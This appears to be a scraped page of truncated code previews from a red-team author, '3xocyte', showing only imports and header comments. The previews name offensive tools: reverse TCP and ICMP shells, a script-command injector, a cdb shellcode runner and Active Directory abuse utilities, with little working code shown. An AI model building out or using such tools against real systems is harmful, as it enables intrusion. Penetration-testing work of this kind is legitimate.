3xocyte

using System;
using System.Text;
using System.Net.Sockets;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Collections.ObjectModel;
using System.Diagnostics;

// reverse TCP shell with powershell runspace
// by @3xocyte

3xocyte

using System;
using System.IO;
using System.Text;
using System.Linq;
using System.Collections.Generic;

// ephemeral script injector by @3xocyte
// takes a target directory to watch, and an OS command to attempt to inject into any scripts that get modified

namespace FileContentInjector

3xocyte

#!/usr/bin/env python3

# by Matt Bush (@3xocyte)

import os
import sys
import logging
import argparse
import traceback
import time

3xocyte

#!/usr/bin/env python

# run: cdb.exe -cf output.wds -o calc.exe
# From: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html

src = open('shellcode', 'r')
sc = src.read()
src.close

copy = ";eb @$t0+"

3xocyte

#!/usr/bin/env python

import argparse
import sys
import string
import random

# https://support.microsoft.com/en-au/help/243327/default-limit-to-number-of-workstations-a-user-can-join-to-the-domain
# create machine account utility by @3xocyte
# with thanks to Kevin Robertson for https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1

3xocyte

using System;
using System.IO;
using System.Text;
using System.Net.NetworkInformation;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Threading;
using System.Collections.ObjectModel;

// .NET ICMP reverse shell client with PowerShell runspace by @3xocyte

3xocyte

#!/usr/bin/env python
# resolve domain computers by @3xocyte

import argparse
import sys
import string

# requires dnspython and ldap3
import dns.resolver
from ldap3 import Server, Connection, NTLM, ALL, SUBTREE

3xocyte

#!/usr/bin/env python

import argparse
import sys
import binascii
import socket
import re
from ldap3 import Server, Connection, NTLM, ALL, SUBTREE, ALL_ATTRIBUTES

# get /etc/hosts entries for domain-joined computers from A and AAAA records (via LDAP/ADIDNS) (@3xocyte)

3xocyte

#!/usr/bin/env python

# for more info: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
# this is a *very* rough PoC

import SimpleHTTPServer
import SocketServer
import base64
import random
import struct

3xocyte

#!/usr/bin/env python3

import argparse
import sys
import logging
import random
import string
import os
from time import sleep